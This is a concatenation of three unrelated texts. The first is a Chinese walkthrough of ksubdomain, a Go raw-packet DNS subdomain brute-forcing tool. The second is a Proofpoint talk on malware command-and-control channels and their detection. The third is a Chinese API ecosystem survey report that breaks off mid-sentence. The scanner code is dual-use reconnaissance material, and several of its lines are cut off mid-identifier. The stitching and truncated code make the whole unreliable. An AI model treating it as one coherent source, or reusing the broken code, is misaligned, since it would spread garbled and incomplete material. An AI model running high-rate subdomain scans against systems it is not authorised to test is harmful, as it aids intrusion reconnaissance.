计算udp的校验和后把几个层的数据合并在一起 最后赋值到buf里 _ = udp.SetNetworkLayerForChecksum(ip) buf := gopacket.NewSerializeBuffer() err := gopacket.SerializeLayers( buf, gopacket.SerializeOptions{ ComputeChecksums: true, // automatically compute checksums FixLengths: true, }, eth, ip, udp, dns, ) 6. 最后通过pcap句柄发包 handle.WritePacketData(buf.Bytes()) func send(domain string, dnsname string, ether *device.EtherTable, dnsid uint16, freeport uint16, handle *pcap.Ha DstIp := net.ParseIP(dnsname).To4() eth := &layers.Ethernet{ SrcMAC: ether.SrcMac.HardwareAddr(), DstMAC: ether.DstMac.HardwareAddr(), EthernetType: layers.EthernetTypeIPv4, } // Our IPv4 header ip := &layers.IPv4{ Version: 4, IHL: 5, TOS: 0, Length: 0, // FIX Id: 0, Flags: layers.IPv4DontFragment, FragOffset: 0, TTL: 255, Protocol: layers.IPProtocolUDP, Checksum: 0, SrcIP: ether.SrcIp, DstIP: DstIp, } // Our UDP header udp := &layers.UDP{ SrcPort: layers.UDPPort(freeport), DstPort: layers.UDPPort(53), } // Our DNS header dns := &layers.DNS{ ID: dnsid, QDCount: 1, //RD: true, //递归查询标识 } dns.Questions = append(dns.Questions, layers.DNSQuestion{ Name: []byte(domain), Type: layers.DNSTypeA, Class: layers.DNSClassIN, }) // Our UDP header _ = udp.SetNetworkLayerForChecksum(ip) buf := gopacket.NewSerializeBuffer() err := gopacket.SerializeLayers( buf, gopacket.SerializeOptions{ ComputeChecksums: true, // automatically compute checksums FixLengths: true, }, eth, ip, udp, dns, ) 处理结果并输出 runner.handleResult 这里就可以控制输出结果和 将结果写到文件 1. 获取窗口的宽度 core.GetWindowWith() 2. 创建输出文件的句柄 r.options.Output 3. 从 runner.recver 获取 runner.recvChanel 的结果数据 如果设置 onlyDomain msg为域名信息否则加上解析后的ip信息 4. 域名验证的结果输出到控制台 Silentf 5. 任务的信息输出到控制台 runner.PrintStatus 6. 将结果写到文件里 详细的见如下代码 if err != nil { gologger.Warningf("SerializeLayers faild:%s\n", err.Error()) } err = handle.WritePacketData(buf.Bytes()) if err != nil { gologger.Warningf("WritePacketDate error:%s\n", err.Error()) } } func (r *runner) handleResult(ctx context.Context) { var isWrite bool = false var err error var windowsWidth int if r.options.Silent { windowsWidth = 0 } else { windowsWidth = core.GetWindowWith() } if r.options.Output != "" { isWrite = true } var foutput *os.File if isWrite { foutput, err = os.OpenFile(r.options.Output, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0664) if err != nil { gologger.Errorf("写入结果文件失败:%s\n", err.Error()) } } onlyDomain := r.options.OnlyDomain notPrint := r.options.NotPrint for result := range r.recver { var content []string var msg string content = append(content, result.Subdomain) if onlyDomain { msg = result.Subdomain } else { for _, v := range result.Answers { content = append(content, v.String()) } msg = strings.Join(content, " => ") } if !notPrint { screenWidth := windowsWidth - len(msg) - 1 if !r.options.Silent { if windowsWidth > 0 && screenWidth > 0 { gologger.Silentf("\r%s% *s\n", msg, screenWidth, "") } else { gologger.Silentf("\r%s\n", msg) } // 打印一下结果,可以看得更直观 r.PrintStatus() } else { gologger.Silentf("%s\n", msg) } } if isWrite { w := bufio.NewWriter(foutput) _, err = w.WriteString(msg + "\n") if err != nil { gologger.Errorf("写入结果文件失败.Err:%s\n", err.Error()) } _ = w.Flush() } } } runner.PrintStatus 任务情况输出 每来一次结果就会输出 任务情况 还有在 RunEnumeration 定时器 每1s也会输出一次 通过定时器和状态表阻塞主进程 t := time.NewTicker(1 * time.Second) defer t.Stop() for { select { case <-t.C: // 1s 输出一次任务情况 r.PrintStatus() if isLoadOver { // 状态表都空了就任务扫描完毕 结束阻塞 if r.hm.Length() == 0 { gologger.Printf("\n") gologger.Infof("扫描完毕") return } } case <-r.fisrtloadChanel: go r.retry(ctx) // 遍历hm,依次重试 isLoadOver = true } } } 重试 runner.retry func (r *runner) PrintStatus() { queue := r.hm.Length() tc := int(time.Since(r.startTime).Seconds()) gologger.Printf("\rSuccess:%d Send:%d Queue:%d Accept:%d Fail:%d Elapsed:%ds", r.successIndex, r.sendInde } 1. 获取当前时间 遍历状态表如果重试的次数大于最大重试次数了删除这条 失败次数+1 2. 否则 如果上次发送时间与当前时间对比达到了超时时间再次将域名发送到 runner.sender 队列 3. sleep 1k纳秒 func (r *runner) retry(ctx context.Context) { for { // 循环检测超时的队列 now := time.Now() r.hm.Scan(func(key string, v statusdb.Item) error { if r.maxRetry > 0 && v.Retry > r.maxRetry { r.hm.Del(key) atomic.AddUint64(&r.faildIndex, 1) return nil } if int64(now.Sub(v.Time)) >= r.timeout { // 重新发送 r.sender <- key } return nil }) length := 1000 time.Sleep(time.Millisecond * time.Duration(length)) } } Close 关闭的话关闭 runner.recver runner.sender pcap 句柄 内存状态表 func (r *runner) Close() { close(r.recver) close(r.sender) r.handle.Close() r.hm.Close() } verifyCommand 验证功能 可以看到跟枚举的参数是一样的 不同的是 Method 模式是 verify 还有就是 验证是去掉了 生成测试域名的步骤 认为传递进来的就是直接去发包的域名 其他没有区别 testCommand 测试功能 计算发包速率 获取真正发请求的网卡 传递给 runner.TestSpeed ether := runner.GetDeviceConfig() runner.TestSpeed(ether) runner.TestSpeed 1. 这里有意思啊 通过设置一个错误的目的mac地址 实现包从经过网卡但是发不出去 2. 获取空闲端口 初始化pcap句柄 3. 测试最大时间15s内发送测试 www.hacking8.com 包的速率 func TestSpeed(ether *device.EtherTable) { ether.DstMac = device.SelfMac(net.HardwareAddr{0x5c, 0xc9, 0x09, 0x33, 0x34, 0x80}) // 指定一个错误的dstma var index int64 = 0 start := time.Now().UnixNano() / 1e6 timeSince := int64(15) // 15s var dnsid uint16 = 0x2021 tmpFreeport, err := freeport.GetFreePort() if err != nil { gologger.Fatalf("freeport error:" + err.Error()) return } handle, err := device.PcapInit(ether.Device) defer handle.Close() if err != nil { gologger.Fatalf("初始化pcap失败,error:" + err.Error()) return } var now int64 for { send("www.hacking8.com", "1.1.1.2", ether, dnsid, uint16(tmpFreeport), handle) index++ now = time.Now().UnixNano() / 1e6 tickTime := (now - start) / 1000 if tickTime >= timeSince { break } if (now-start)%1000 == 0 && now-start >= 900 { tickIndex := index / tickTime gologger.Printf("\r %ds 总发送:%d Packet 平均每秒速度:%dpps", tickTime, index, tickIndex) } } now = time.Now().UnixNano() / 1e6 tickTime := (now - start) / 1000 tickIndex := index / tickTime gologger.Printf("\r %ds 总发送:%d Packet 平均每秒速度:%dpps\n", tickTime, index, tickIndex) } 总结 通过学习ksubdomain 更加深了对go的理解和对无状态的理念 也学到了几个有意思的点 dnsid可以控制 对pcap包的使用 漏桶限流 测试数据包速率通过改一个错误 mac地址的方式 定时器的使用等等 因为我本身对go语言的理解比较浅显 有些地方可能有错误 欢迎指出 来
pdf
1 threat protection | compliance | archiving & governance | secure communication Malware Command and Control Channels - a journey into Darkness - By Brad Woodberg - Emerging Threats Product Manager / Proofpoint 2 Agenda C2 Intro and Background (7 mins) Modern C2 Techniques (6 mins) Case Studies (15 mins) Predictions for C2 (5 mins) Defense (10 mins) Wrap Up (2 mins) 3 Why Command & Control? Vulnerabilities, Exploits, and Malware grab the headlines and analyst focus While very interesting, it is also very noisy, many exploits fail, very FP prone. If you can effectively detect C2 activity, you have a high fidelity indicator that an asset is actually compromised. With C2, the tables are turned on attackers, they go on defense, and we go on offense. 4 T-0: Initial Infection Modern malware is delivered in one of two ways: − Executable Content: Binary executables, embedded executable content like macros typically through web or email channels on the network. − Exploit Driven: An exploit against a software vulnerability such as those against Flash, PDF, Java, Office Docs, Browsers, and other network enabled applications. Regardless of how modern malware compromises a system, it is rarely autonomous. Dridex CVE-2016-4117 Angler EK 5 T-1: Rough Landings Initial malware execution may occur under non-ideal scenarios: Malware may land on a non-target asset Malware may not have sufficient privileges when it executes Malware may be delivered in pieces to evade detection / fit into buffers Malware may require payload before it is malicious (e.g. TinyLoader) Malware may require coordination with C2 for operating instructions before it takes action (e.g. Crypto Ransomware waiting to receive a key) Enter Command and Control 6 T-2: Escalation Complete malware breach by acquiring additional executables, payloads, and configurations. − May be as simple as a word doc downloading an EXE (e.g. Dridex), − Or as complex as a dropper downloading an entirely new malware (e.g. Tinyloader / AbaddonPoS) Escalation stage is often carried out by contacting C2 Infrastructure This communication often leverages different infrastructure, protocols, and methods than the initial infection. − Often because infection infrastructure is rented, and C2 is managed by a different actor. 7 Initial Infection in Action: Angler Exploit Kit Redirect to Angler Infrastructure TDS Evaluates Target Client Exploit / Payload Delivered Target Compromised, C2 8 Lateral Infection vs. C2 Lateral Infection is not the same as C2! Lateral Infection focuses on Three Phases: − Introsection: Local device scanning − Network Scanning: mapping the network for potential targets and pivot points. − Exploit and Spread: Compromise other assets. − LI typically involves using native networking protocols to scan and spread within an organization (e.g. Locky using SMB to infect file shares) Lateral Infection is typically East / West by definition vs. North / South Datacenter Workstation Workstation C2 Lateral Internet 9 Lateral Infection vs. C2 Continued C2 is typically North / South C2 will be less likely to be native enterprise networking protocols (e.g. AD protocols) and instead HTTP/SSL, custom application stacks, or outright custom channels such as encrypted channels. C2 is often more evasive than LI − This is primarily because with C2 the attacker controls both sides of the communication, where with LI they only control the client! 10 Exfiltration This phase is where the malware delivers on it’s intended purpose Exfiltrated data often includes stealing intellectual property, exposing attributes of a target network, or larger escalation of an attack. May or may not leverage the standard C2 infrastructure including control channels, C2 servers &c. May be possible to fingerprint activity heuristically 11 Targeted vs. Crimeware At a high level we can categorize malware into two families, Crimeware and Targeted. − Crimeware: This is malware that is often general purpose and widely distributed. Often as part of exploit kits and mass mailing campaigns. − Targeted: This is malware that is custom built to target individual organizations or a small subset of targets often within a specific vertical. Under Targeted Malware there is a third category which is Targeted Espionage which is typically much more advanced. 12 Crimeware vs. Targeted Crimeware: General Purpose Widely distributed Go to greater lengths to evade detection from a protocol perspective Yet quite chatty on C2 channels Targeted: Highly selective victims Will be custom built to navigate individual networks, common platforms. Often does not go to great lengths from an obfuscation perspective Targeted Espionage: Most exotic form of malware Far more sophisticated than traditional targeted. May lack network based C2 channels altogether. May leverage insiders as well as covert HW to bridge air gaps. 13 Cat and Mouse Early malware just used fixed non-standard ports to communicate e.g. Back Orifice 1998). Early malware often heavily leveraged IRC channels for a simple C2 infrastructure e.g. PrettyPark (1999) As organizations tamped down on allowing ports outside of TCP 80/443 to communicate to the internet, so did malware evolve. At the time, the malware just took advantage of the fact that stateful firewalls didn’t look beyond the L4 header to allow traffic to communicate out of the network. Layer 3 Network Layer (IP) Layer 4 Transport Layer (TCP/UDP) Layer 7 Network Application Layer (HTTP) Layer [8] Software Application Layer (Dropbox) Layer [9] Content Layer (Docs, HTML) Access List Stateful Firewall NGFW/IPS Sandbox/Execution CASB Enter the Stateful Firewall which leveraged Layer 7 payload inspection (similar to IPS) to identify applications rather than attacks. Malware noted that keeping explicit strings in the payload would be easy to identify (e.g. GhostRat). The same is true for potentially unwanted applications like Bittorent / Tor / Skype which also leveraged evasion techniques. To evade NGFW and other deep inspection technologies, malware shifted to leverage steganographic techniques to hide in plain sight. E.g. Sninfs Finally, malware has evolved even further to leverage highly obfuscated and embedded communication channels like jpgs, flash, encoded ASCII. In addition to the advanced obfuscation, malware has gone to great lengths to hide itself in legitimate, cloud applications. 14 C2 Hosting Early days C2 infrastructure was very fixed. Similar to traditional computing, it was physical machines in data centers with static IP’s. While DNS was prominent, domain names for malware would not change very quickly. Configuration Updates via CNC This weak link made for a great target for vendors providing defense mechanisms. So malware evolved as well to domain generation algorithms (DGA’s) which could quickly cycle through generated domain names to eliminate single points of failure. E.g. Conficker The issue with DGA’s is that the algorithm can be reverse engineered, and it still relies on DNS. Enter P2P Mechanisms like GameOver-Zeus To offset the potential disruptions for DGA’s, malware started leveraging common cloud services which enterprises are adverse to blocking as they may serve a business function. Timeline Complexity Static IP DNS Dynamic Configuration Updates DGA P2P Common Cloud Services / Steg 15 C2 - Counter Defense Techniques Attackers think economically, want their malware to last as long as possible thus bringing the most ROI. Botnet authors utilize several counter detection techniques to ensure the viability of their malware. − Filter who can connect (e.g. IP filtering to eliminate non-targets, researchers and sandboxing tools.) − Secret Handshakes: E.g. leverage custom TCP stacks or special low level handshakes that only illicit responses if correct handshake is used (e.g. Poison Ivy) − Encryption: Predefined SSL Certificates embedded in malware for authenticating client/servers − Steganography: Hiding in plain sight, exceptionally difficult to detect, looks like standard legitimate apps and traffic. 16 Case Studies Now that we’ve covered the background and evolution, let’s take a look at actual malware C2 channels to reinforce our examples. Note that there are often a great many variants for each malware and some leverage different communication than the mainstream samples which we will cover. 17 Gh0stRAT Basic C2 Protocol Common strains support a basic non-encoded string in the PCAP. ‘Gh0st’ string in initial payload to identify malware Non-Standard Port easily filterable 18 PoisonIvy Unknown Encrypted, 256 Byte handshake Does not contain explicit strings in handshake which are easy to key on. Available since 2005, still very popular and little changed despite being in the wild so long. 256 Byte Handshake is exchanged in a CHAP like sequence. Client sends a hello which allows the server to prevent it from communicating with an unknown client. The server will only accept the client communication if it has been encrypted with the right password. 19 NanoLocker Some malware leverage common network utilities and infrastructure to embed C2 functionality NanoLocker leverages ICMP to ping a hardcoded address 52.91.55.122 with an ICMP payload of the ransomware Bitcoin address. It will also send follow up payloads of the number of files encrypted on the system. 20 GameOver/Zeus GameOver / Zeus attempted to obfuscate its activities by leveraging P2P protocols to avoid single points of failure similar to how traditional P2P filesharing services work (loosely based on Kademlia DHT techniques Zeus leveraged basic rolling XOR for packet payloads to make signature based IDS difficult. UDP Payloads − Emphasizes the point that often times the malware authors will just attempt to stay one step ahead of security solutions rather than implement the most state of the art attacks. 21 Dridex using Pastebin as C2 Virtually any cloud service can be used for C2. in this example Pastebin is leveraged. While sites like Pastebin might be simple to turn off, Twitter, Amazon, and Facebook may have legitimate business purposes. Malware may hide in comments, images, video and uploaded content. 22 ToR as a C2 Channel After an initial infection, malware hops to TOR2Web a clientless TOR implementation for C2 Activity TOR allows botnet operators to evade communication snooping in intermediate systems. 23 AridViper Targeted malware which leverages basic HTTP over standard ports to blend in. This stream is composed of initial client registration to C2 server, along with post registration activity to validate interesting files on the system. Arid Viper originally focused on Israeli targets 24 Trends and Projections Encryption: − Let’s Encrypt could be huge game changer for malware − Previously cost/overhead was high for SSL, Let’s Encrypt eliminates this limitation. − Won’t impact state sponsored or targeted attacks much, but will impact Crimeware heavily. Source: Let’s Encrypt: https://letsencrypt.org/stats/ 25 Advanced Steg ** Recorded Demo ** Steganography − Hiding in plan site really is a powerful covert channel. − Attackers may choose to take techniques which are not computationally difficult to generate, but are computationally difficult to detect, especially in real time network streams. − Sky is the limit, this could be a very interesting topic for future discussions all on it’s own. 26 Leveraging Cloud Apps Hiding C2 in Cloud Apps − This is likely to be a continuing trend. It helps to solve the attacker challenge of hosting and potential blacklisting of standalone C2 infrastructure by overlaying it on top of cloud applications which often have business legitimacy. − This makes it harder to detect and harder for organizations to take action on because they cannot block these apps. − Puts the onus on Cloud providers to detect malicious activity. The effectiveness will vary widely depending on how invested these providers are. − Cloud apps can be deployed with little more than an email address, often free compute infrastructure for attackers! 27 IPv6 IPv6 − Today IPv4 is still the predominate routed protocol on the internet, particularly outside of APAC and universities. This is changing − IPv6 presents a big challenge because of the massive number of IPv6 addresses. We will be looking to do more blacklisting based on networks rather than IP’s. − IPv6 also may expose weaknesses in security software that does not support it yet or has underlying flaws and vulnerabilities. − It is enabled by default in virtually every modern OS! Including IPv6inV4 Tunneling Source: RFC 4213: https://tools.ietf.org/html/rfc4213, Nordmark and Gilligan 28 Layered Evasions Layered Evasions − Stacking numerous evasions from the IP level up the chain into the application layer to try to evade malicious activity detection by trying to fool detection capabilities (similar to traditional IDS layering evasion techniques. IP Fragmentation TCP Segment Overlaps SSL Encryption HTTP: Chunking, GZIP, Base64, Embedded Content (Encoding, Compression, Metadata, Dynamic Content) IP Protocol 41 (IPv6 in IPv4 Tunnel) 29 C2 Detection Is Critical! High fidelity Indicator May prevent malware from successfully executing May prevent escalation to attack other hosts inside/outside the network May prevent sensitive data from making it out Makes more hoops for the attacker to jump through and therefore more opportunities to make a mistake. 30 Defense Mechanisms Phase 1 Eliminate the Known Bad − Block access to known bad IP’s, countries − Block Access to Malicious Domains Minimize the attack surface − Restrict FW/NGFW to least privilege including • Restrict Firewall Ports!, no any any any policy • Block unnecessary / undesirable L7 applications with an NGFW • Block unknown / unknown encrypted applications at the FW level with NGFW • Block queries to known/suspicious DNS domains 31 Defense Mechanisms Phase 2 Fingerprint Known Malware − Where possible, identify malware with both pattern matching and behavioral identification from a high fidelity source. If you can accurately identify malware itself, then you can have a higher degree of confidence of an infection. − Especially if you can identify the malware by it’s C2 channel SSL Interception − SSL Interception is an increasingly important function if it can be leveraged. − It allows you to not only inspect encrypted streams, but also breaks any malware that uses predefined certificates. − If you cannot do SSL interception, you can at least look at the network streams to try to fingerprint the certificate or identify anomalous SSL protocols. 32 Defense Mechanisms Phase 3 SSL Interception − SSL Interception is an increasingly important function if it can be leveraged. − It allows you to not only inspect encrypted streams, but also breaks any malware that uses predefined certificates. − If you cannot do SSL interception, you can at least look at the network streams to try to fingerprint the certificate or identify anomalous SSL protocols Known SSL Certs − Where possible, use IDS or other technology to detect known malicious SSL certs which provide high fidelity indicators of an attack (even if SSL MiTM isn’t possible) 33 Defense Mechanisms Phase 3 Heuristics − Pattern matching is not a perfect catch all for identifying suspicious activity due to highly evasive techniques. − One high fidelity indicator of compromise can be to examine DNS data to try to identify domain generation algorithms used by modern malware. − Some IDS can also identify this activity, but placement is very important because it needs to be between the client and the DNS server, otherwise all attacks will look like they are coming from the DNS server. Network Profiling − Leveraging a network profiling IDS like BRO can also help to not only identify malicious activity but also to provide a strong audit trail in the event that a breach occurs. 34 Defense Mechanisms Closing the Loop 4 REVIEW YOUR SECURITY LOGS! − As we’ve seen with many high profile breaches, it is often the case that malicious activity is detected, but it isn’t acted upon. − Most off the shelf malware and attacks provide many IOC’s to key on which can be detected by freely available software and systems. − There are commercial and open source solutions available that can help to solve the problem of the signal to noise, auxiliary endpoint verification, and end to end IR containment. 35 Summary Summary − In modern computer security, it’s not a matter of if, but when, and what they will take, and how much it will cost you to deal with it. The attack surface is simply too massive, to put all of your hopes in the fact that you might be able to keep malware out. In taking the fight to the attackers, we need to be smart, and to holistically detect breaches. Not only on the initial phases, but perhaps where the attackers are most exposed and we have the most defensive capabilities to detect them by detecting the C2 channels. − As we continue to up our game, we should expect that the malicious actors will do the same, and come up with even more creative ways to leverage the same technology which can be used for incredible good for their own malicious purposes. But at the very least, we can keep them on their game, and further tip the economics of hacking by making their job that much harder. We’ll do it by exploiting them for a change; at their weakest point, the command and control channel. 36 Thank You’s! 37 Q&A
pdf
前 言 报告方法论 当前,数字化转型已深入各行各业,API——这个曾经的底层代码接口,不仅发展成为 产品本身,更成为企业承载价值、连接业务的核心载体,一个由API使用者和开发者组成 的、围绕API产品生命周期的价值交换新模式正日益成熟,特别是与微服务、DevOps等技 术的融合,都将使得API战略成为企业加速创新的利器。 该报告旨在通过全面的视角反映API生态的发展现状,包括API使用者和开发者的主要 诉求、策略、行为,展现API产品生命周期各阶段的实践过程、工具使用情况,并进一步探 讨API技术未来可能的发展方向、价值实现方式,力求为相关企业、组织、个人制定API战 略提供一个参考视角。 该报告的观察和发现主要基于数据统计,我们广泛采集了相关从业者的数千份调研问卷,并从中优选了 5000余份具有高可信度的数据,在此基础上结合主观经验进行数据的解读和剖析,对数据产生的客观背景、深 层次原因进行了适当延伸,最终得到以下若干结论。 目 录 主要结论 01 ---------------------------------------- API的发展和应用现状 06 -------------------------------- 关于结论的说明 02 ----------------------------------- API的使用者需求 12 ---------------------------------- API开发者的策略和行为画像 16 --------------------------- API设计流程和工具 22 -------------------------------- API测试流程和工具 26 -------------------------------- API文档的使用 32 ----------------------------------- API综合管理体系 37 ---------------------------------- 41 ---------------------------- API的技术挑战和发展趋势 统计人口样本 44 ------------------------------------ CONTENTS 主要结论 1、当前,我国API生态尚未成熟、市场尚处早期发展阶段,虽然API已广泛应用在以网 页、移动应用、后端系统集成为主的众多场景,但因质量问题带来的API变更仍然是造成线 上事故的主因。在所有受访者中,API开发者呈现出人数比例偏低、集中在开发/设计端、 从业经验尚浅等特征。 2、使用者对API的主要诉求已由获取数据能力转变为获取技术能力、甚至业务能力, 使用者渴望高效便捷的寻找、调用方式,除关注API产品本身性能外,也愈发关注优质的后 续服务和使用体验。 3、当前开发API的最主要目的是优化内部系统、工具和团队协作,其次是促进形成生 态、开展外部合作,较少被用于盈利目的,API的开发行为同样需要广泛地借助各类工具, 工具的易用性是其首要关注点。 4、API开发模式正走向规模化、体系化,半数开发者已经建立API设计流程,开源编 辑器依然是其首选的设计工具,设计方式逐渐由代码驱动转向文档驱动,通过API设计文档 自动生成代码的能力愈发重要。 5、质量低下的API可能对用户的业务造成严重影响,缺乏合适的工具和技术已经成为 保障API质量的最大障碍。API开发者同样意识到了质量问题,建立API测试流程已经成为 共识,普遍使用多款测试工具,YAPI、Postman是目前的主流。 6、七成受访者已建立正规的API文档流程,但大量的团队还没有意识到API文档应有 的重要作用、也不具备自动化生成API文档的能力,有相当比例的受访者选择使用自研的 API文档工具,相关工具的匮乏似乎成为API文档管理的障碍。 7、开发者的API管理意识更强,普遍选择API网关开放API、以及通过API综合管理平 台实现API的全生命周期管理。 8、API技术依然面临全面的挑战,受到最多关注的包括标准化、可组合性/可重用性、 和安全性,且普遍认为微服务、物联网、DevOps等技术的发展可能对API最具促进作用。 01 关于结论的说明 当前,我国API生态尚未成熟、市场尚处早期发展阶段,虽然API已广泛应用在以网 页、移动应用、后端系统集成为主的众多场景,但因质量问题带来的API变更仍然是造成线 上事故的主因。在所有受访者中,API开发者呈现出人数比例偏低、集中在开发/设计端、 从业经验尚浅等特征。 约78%的受访者表示已经将API对外部开放,其中供外部付费使用的仅占9%,一定程 度上说明当前API应用行业的竞争还处于蓝海时代。伴随企业的数字化、微服务改造进程不 断深入,API被广泛应用在网页、移动应用、后端系统集成等场景,API经济正在帮助各行 各业的企业借助外部力量高效、低成本、快速地获取数据和技术能力,新势力仍有广泛的市 场机遇。 API经济中,API质量问题仍是参与双方的主要困扰,因质量问题带来的API变更占据 了线上事故中相当高的比例。当API出现问题时,使用者期待开发者提供便捷的沟通渠道和 及时有效的处理方式,这需要API开发者有相应的技术能力维持高水平的可靠性、安全性和 功能。 就我国的API经济参与者来看,API使用者的数量比例明显高于开发者,双方数量比例 约为2:1,开发者集中在开发/设计端,且经验尚浅,从业3年以下的占比44.4%,这也说明 我国的API经济尚处早期发展阶段,即希望通过API获取外部数据、技术能力的需求旺盛, 但相对缺乏有能力开放高水平API、并进行全生命周期管理的组织。 使用者对API的主要诉求已由获取数据能力转变为获取技术能力、甚至业务能力,使用 者渴望高效便捷的寻找、调用方式,除关注API产品本身性能外,也愈发关注优质的后续服 务和使用体验。 从API的使用目的来看,使用者通过API获取技术能力、甚至业务能力的需求明显高于 获取数据的需求,选择两者的受访者占比分别为78%、42.3%。进一步讲,使用者更关注 API的可用性,易用性、API文档准确详尽、服务可用性是其最为关注的三个要素。对于 API开发者来说,除了产品性能的竞争外,更加优质的后续服务和使用体验,也会赢得更多 用户的青睐。 在寻找API和调用过程中,使用者最希望获得在线API调试、API参数说明、API全局搜 索、SDK示例代码功能,表现出使用者希望高效找到合适的API、并快速掌握其使用方法 的诉求。 1. 2. 02 当前开发API的最主要目的是优化内部系统、工具和团队协作,其次是促进形成生态、 开展外部合作,较少被用于盈利目的,API的开发行为同样需要广泛地借助各类工具,工具 的易用性是其首要关注点。 从API开发者的行为来看,开发API的主要动力是来源于组织内部的,有55.7%的受访 者表示希望通过开发API优化内部系统、工具和团队协作,48.3%的受访者希望能够减少开 发时间/成本、提高效率。源于组织内部的开发动力决定了API的衡量标准,开发者最关注 API可用性,包括性能、功能性等方面的考量,但对于后期稳定性的关注度有所欠缺。 在开发行为中,Java仍是48.8%的开发者选择的主流语言,相应的,34.7%的开发者 使用IntelliJ IDEA作为集成开发环境,另外,华为云CloudIDE、VSCode等生态丰富的集 成开发环境也广受开发者青睐。在开发工具的选择上,API开发者需要广泛地借助各类工 具,涵盖设计、文档管理、测试等各个环节,易用性是开发者选择工具的重要关注因素。 API开发模式正走向规模化、体系化,半数开发者已经建立API设计流程,开源编辑器 依然是其首选的设计工具,设计方式逐渐由代码驱动转向文档驱动,通过API设计文档自动 生成代码的能力愈发重要。 API设计能力的重要性不言而喻,建立API设计流程对提升设计能力的作用已经成为共 识,共计约75%的开发者对拥有正式的API设计流程持正面态度。从设计方式来看,代码驱 动的设计方式正逐渐转向文档驱动,采用两者的开发者占比分别为48%、38%。API开发 模式正走向规模化、体系化,API开发文档的重要性愈发凸显,这也促使共计约65%的开发 者表示希望获得、或已经实现了通过API设计文档自动生成代码的能力。 在设计行为上,开源编辑器依然是开发者进行API设计的首选工具,且RESTful风格的 API因其具备的天然优势而受到广大开发者欢迎,被54.4%的开发者采用。 3. 4. 03 质量低下的API可能对用户的业务造成严重影响,缺乏合适的工具和技术已经成为保障 API质量的最大障碍。API开发者同样意识到了质量问题,建立API测试流程已经成为共 识,普遍使用多款测试工具,YAPI、Postman是目前的主流。 低质量的API直接影响使用者的项目交付时间,甚至严重影响用户和公司品牌,尤其是 在更多的组织转向DevOps方向以实现持续集成和持续部署开发的背景下,第三方API产品 的质量稳定性将关系到整个项目的开发进度和交付质量。当前,建立API测试流程已经成为 共识,有78%的使用者和开发者认为它非常重要,但缺乏合适的工具和技术是进行API测 试的最大障碍。 从API测试的行为来看,YAPI、Postman是应用最为广泛API测试工具,但76.5%的 API使用者和43.2%的API开发者使用过多个测试工具,也说明还没有哪款工具赢得了用户 的信任。 七成受访者已建立正规的API文档流程,但大量的团队还没有意识到API文档应有的重 要作用、也不具备自动化生成API文档的能力,有相当比例的受访者选择使用自研的API文 档工具,相关工具的匮乏似乎成为API文档管理的障碍。 API文档作为开发团队的必备工具,其重要性不言而喻,有58%的受访者对所在组织 API文档的完善程度给出正面评价,72.8%的受访者表示已建立正规的API文档流程,但依 旧有超过半数的受访者表达出不认同其重要性、或目前没有API文档流程,显然API文档的 价值还没有得到正确认识。 从文档需求和工具使用情况来看,文档可读性是最重要的API文档需求,Swagger- Hub、ReadMe/Markdown、Atlassian Confluence是目前应用最为广泛的三款API文档 工具,分别有13.8%的API使用者和23.3%的开发者使用自研的API文档工具,众多的管理 工具在个性化的需求面前也显得众口难调。 尤其对于API文档自动生成工具,仅36%的API使用者、34%的API开发者表示有能力 自动化生成API文档,而其余54%、58%的API使用者、开发者则手动编写API文档,市场 现有工具似乎并不能为实现这一能力提供有效的帮助。 5. 6. 04 开发者的API管理意识更强, 普遍选择API网关开放API、以及通过API综合管理平 台实现API的全生命周期管理。 在API的开放和调用方式上,开发者更倾向通过API网关开放API、并实现部分API管理 能力,使用者则更关注API的可用性,总计70.9%的API使用者通过类库、SDK调用、直接 调用的方式使用API,之间的差异体现出二者对于API管理诉求的差别。在管理工具的选择 上,云厂商围绕API生命周期提供了更全面的管理功能,本次调研的结果显示,阿里云、腾 讯云、华为云的管理平台占据了主要市场份额。 API技术依然面临全面的挑战,受到最多关注的包括标准化、可组合性/可重用性、以 及安全性,且普遍认为微服务、物联网、DevOps等技术的发展可能对API最具促进作 用。 API的开发和管理方法正在期待更加标准化、自动化的变革,受访者认为API最主要的 三项技术挑战分别是标准化、可组合性/可重用性、安全挑战。 从受访者普遍看好的微服务、物联网、DevOps等技术当中,我们可以适当延伸解读 API的发展趋势。首先,微服务架构将与整体的API策略深度绑定;其次,物联网的实现将 越来越依赖API技术;第三,DevOps和API的融合将产生更大的业务价值。 8. 05 7. API的发展和应用现状 在报告的开篇部分,我们将为API生态 描绘一个基本的现状雏形,从主要用 途、应用场景、发展瓶颈、参与者画像 等角度总结我国API生态的供需现状、 发展特征及应用潜力 第一部分 大部分API同时面向内部和外部提供,网页、移动应用是目前API支 持最多的场景 数据表明,虽然API的主要开发动力源于提升内部效率,但仍有约56%的受访开发者将 API积极地对外开放,仅有21%的受访者表示仅供内部使用,这样的行为也表明开放的API 正在给开发者自身带来积极的影响和效益。 从支持的场景来看,API已广泛支持了网页、移动应用、桌面、消息、事件,以及 loT、原有系统的数字化改造等众多场景,其中,网页、移动应用是其支持最多的场景。 API的主要用途 API的支持场景 API 的发展和应用现状 1. 56% 21% 13% 9% 1% 向内部和外部提供使用 仅供内部使用 供外部免费使用 供外部付费使用 不确定 网页 移动应用 后段系统集成 桌面 消息 事件 嵌入式 IoT 原有系统数字化改造 63.4% 59.6% 35.5% 29.4% 27.8% 22.6% 17.6% 13.8% 0% 10% 20% 30% 40% 50% 60% 11.5% 07 API使用者遭遇API变更,进而引起的线上事故的比例较高 API的使用者和开发者都因遭遇API变更引起了一定比例的线上事故,在API使用者 中:45%的受访者遭遇API变更引起线上事故的比例在25%-50%之间、38%的使用者表 示这一比例低于25%;而API开发者中这一比例相对较低:调研中48%的开发者选择了 “低于25%”、37%选择了“25%-50%”的数值区间。 总体看来,尤其对于API使用者,API变更可能已经成为造成线上事故主要原因之一, 而开发者显然拥有更好的应对措施。对于API开发者而言,需要提升稳定性方面的意识,为 使用者提供更多使用上的稳定性保障。 API开发者(左侧)与使用者(右侧)遭遇API变更,进而分别引起的线上事故比例 2. 75%~100% 50%~75% 25%~50% 低于25% 48% 13% 0% 0% 10% 20% 30% 40% 50% 50% 40% 30% 20% 10% 2% 37% 38% 14% 3% 45% API 的发展和应用现状 08 当API出现问题时,开发者应提供便捷的沟通渠道和及时有效的处理 方式,这对开发者进行API产品全生命周期的管理提出了更高要求 当使用者遇到第三方API出现问题时,近六成的受访者会通过向API提供者提交问题、 或临时切换到另一个API服务提供者等方式寻求解决,最大程度上保证业务的稳定,仅 